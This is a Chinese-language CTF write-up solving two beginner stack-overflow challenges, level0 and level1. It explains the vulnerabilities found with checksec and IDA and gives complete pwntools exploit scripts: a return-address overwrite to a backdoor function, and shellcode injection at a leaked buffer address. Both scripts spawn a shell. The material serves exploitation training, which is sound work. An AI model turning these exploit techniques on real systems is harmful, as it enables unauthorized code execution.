1.level0
checksec一下
64位程序,只开启了堆栈不可执行保护
用IDA打开
主函数非常简单,输出Hello World以后调用vulnerable_function()函数,并返回该函数的返回值
vulnerable_function()函数内定义了一个字符变量buf,用read函数读取字符(串)到buf中
这里我们可以发现,buf的距离rbp的长度为80h,而read可以读取200h个字符,会造成栈溢出
在函数列表中发现后门函数callsystem()
所以我们只要构造合适的payload,将vulnerable_function()函数的返回地址改写成callsystem()函数的地址即可
exp如下:
from pwn import *
context.binary = './level0'
context.log_level = 'debug'
elf = context.binary
io = process("./level0")
payload = flat(cyclic(0x80 + 8) + elf.sym['callsystem'])
io.sendline(payload)
io.interactive()
运行后得到sh
2.level1
checksec一下
32位程序 几乎没有开启保护
用IDA打开
很简单的主函数
vulnerable_function()函数
函数输出了buf变量的地址,之后读取100h的字符
因为没有开启NX保护,所以可以直接向buf上写入shellcode,之后再跳转到buf的地址就可以执行shellcode
exp如下:
from pwn import *
context.binary = './level1'
context.log_level = 'debug'
elf = context.binary
io = process('./level1')
io.recvuntil('this:')
buf = int(io.recvuntil('?\n', drop = True), 16)
shellcode = asm(shellcraft.sh())
payload = flat(shellcode, 'a'*(0x88 + 4 - len(shellcode)), buf)
io.sendline(payload)
io.interactive()
运行后得到sh